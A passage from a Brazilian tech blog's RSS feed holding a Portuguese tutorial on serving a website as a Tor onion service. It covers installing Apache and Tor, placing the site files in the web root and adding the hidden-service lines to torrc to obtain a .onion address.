&lt;p&gt;Autor do post: &lt;a class=&#34;link&#34; href=&#34;https://github.com/R3tr074&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;R3tr0&lt;/a&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>[PT-BR] Hospedando sites na deepweb</title>
        <link>https://harddisk.com.br/p/pt-br-hospedando-sites-na-deepweb/</link>
        <pubDate>Tue, 16 Mar 2021 00:00:00 +0000</pubDate>
        
        <guid>https://harddisk.com.br/p/pt-br-hospedando-sites-na-deepweb/</guid>
        <description>&lt;img src="https://harddisk.com.br/p/pt-br-hospedando-sites-na-deepweb/onion.jpg" alt="Featured image of post [PT-BR] Hospedando sites na deepweb" /&gt;&lt;p&gt;Lendo este artigo, você aprenderá como hospedar um site ou serviço na Deep Web (site com .onion)&lt;/p&gt;
&lt;p&gt;Antes de hospedar o site na Deep Web, é necessário que já exista um &lt;strong&gt;site&lt;/strong&gt; ou um &lt;strong&gt;serviço&lt;/strong&gt; pronto para ser exposto ao mundo, nesse artigo demonstremos como deixar publico um site, porém o mesmo se aplica a um serviço &lt;a class=&#34;link&#34; href=&#34;https://pt.wikipedia.org/wiki/Secure_Shell&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;&lt;strong&gt;ssh&lt;/strong&gt;&lt;/a&gt;, &lt;a class=&#34;link&#34; href=&#34;https://www.techtudo.com.br/artigos/noticia/2012/07/o-que-ftp-e-como-usar.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;&lt;strong&gt;ftp&lt;/strong&gt;&lt;/a&gt;, &lt;a class=&#34;link&#34; href=&#34;https://pt.wikipedia.org/wiki/Internet_Relay_Chat&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;&lt;strong&gt;irc&lt;/strong&gt;&lt;/a&gt; e etc&lt;/p&gt;
&lt;h2 id=&#34;pré-requisitos&#34;&gt;PRÉ-REQUISITOS&lt;/h2&gt;
&lt;h3 id=&#34;11-apache&#34;&gt;1.1. Apache&lt;/h3&gt;
&lt;p&gt;Você precisará ter instalado o &lt;a class=&#34;link&#34; href=&#34;https://www.apache.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;apache&lt;/a&gt;, que fará com que sua pagina html seja exposta, sem o apache não é possível fazer com que pessoas acessem sua página.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ sudo apt-get install apache2 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Inicie o serviço do apache&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ sudo systemctl start apache2.service
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Sempre que quiser parar o serviço do apache, execute esse comando:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ sudo systemctl stop apache2.service
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Depois de concluir a instalação do apache, certifique-se que a instalação deu certo entrando no &lt;a class=&#34;link&#34; href=&#34;http://localhost&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;localhost&lt;/a&gt;.
Ao entrar na página você deve ver uma pagina igual a essa:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://www.linux.com/wp-content/uploads/2019/08/apache-on-ubuntu.png&#34; alt=&#34;apache pagina padrão&#34;  /&gt;&lt;/p&gt;
&lt;h3 id=&#34;12-tor&#34;&gt;1.2. TOR&lt;/h3&gt;
&lt;p&gt;Para colocar essa página na deepweb você vai precisar do &lt;a class=&#34;link&#34; href=&#34;https://www.torproject.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Tor&lt;/a&gt;.  Se você não tiver o &lt;strong&gt;Tor&lt;/strong&gt; instalado, execute os seguintes comandos no terminal:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ sudo apt-get install tor 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ sudo tor 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;hospedando-o-site&#34;&gt;HOSPEDANDO O SITE&lt;/h2&gt;
&lt;p&gt;Se você chegou até aqui é porque já tem o seu site pronto em mãos e tudo devidamente instalado, vamos começar hospedando o site localmente.&lt;/p&gt;
&lt;h3 id=&#34;apenas-na-sua-máquina-localhost&#34;&gt;Apenas na sua máquina (localhost)&lt;/h3&gt;
&lt;p&gt;Entre na pasta do seu projeto e utilize o &lt;strong&gt;pwd&lt;/strong&gt; para confirmar o caminho do seu projeto&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ &lt;span class=&#34;nb&#34;&gt;pwd&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Sua saida deve ser o exato caminho do seu projeto, veja o exemplo:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;/home/vtrgzll/projeto/siteDeepWeb
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ sudo rm -rf /var/www/html/* &lt;span class=&#34;c1&#34;&gt;# apaga a pagina padrão do apache e tudo que veio junto com ela&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ sudo mv ./* /var/www/html &lt;span class=&#34;c1&#34;&gt;# movendo tudo que tem no seu projeto para o apache&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ sudo systemctl restart apache2.service &lt;span class=&#34;c1&#34;&gt;# reinicia o serviço do apache caso já n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Após seguir estas etapas verifique se aparece seu site corretamente. Seu site está disponível localmente em &lt;a class=&#34;link&#34; href=&#34;http://localhost&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;localhost&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&#34;hospedando-na-deep-web&#34;&gt;Hospedando na Deep Web&lt;/h3&gt;
&lt;p&gt;Agora que seu site já esta rodando localmente, precisamos configurar para poder ser acessado via &lt;strong&gt;Tor&lt;/strong&gt; (domínio .onion), e para isso vamos precisar mexer em algumas configurações do tor&lt;/p&gt;
&lt;p&gt;Edite o arquivo &lt;code&gt;torrc&lt;/code&gt; usando sudo:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ sudo nano /etc/tor/torrc
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Você precisará colocar as duas linhas a seguir em seu &lt;code&gt;torrc&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;HiddenServiceDir /var/lib/tor/my_website/
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;HiddenServicePort &lt;span class=&#34;m&#34;&gt;80&lt;/span&gt; 127.0.0.1:80
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Reinicie o &lt;strong&gt;Tor&lt;/strong&gt; para atualizar as configurações&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ sudo systemctl restart tor 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ sudo cat /var/lib/tor/my_website/hostname
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;como-acessar-o-site&#34;&gt;COMO ACESSAR O SITE?&lt;/h2&gt;
&lt;p&gt;O Último comando te dará o endereço &lt;strong&gt;.onion&lt;/strong&gt; necessário para acessar a página na deepweb, basta você abrir o &lt;a class=&#34;link&#34; href=&#34;https://www.torproject.org/download/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Navegador Tor Browser&lt;/a&gt; e entrar com o seu link.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Autor do post: &lt;a class=&#34;link&#34; href=&#34;https://github.com/victorlpgazolli&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Vtr&lt;/a&gt;&lt;/p&gt;</description>
        </item>
        
    </channel>
</rss>
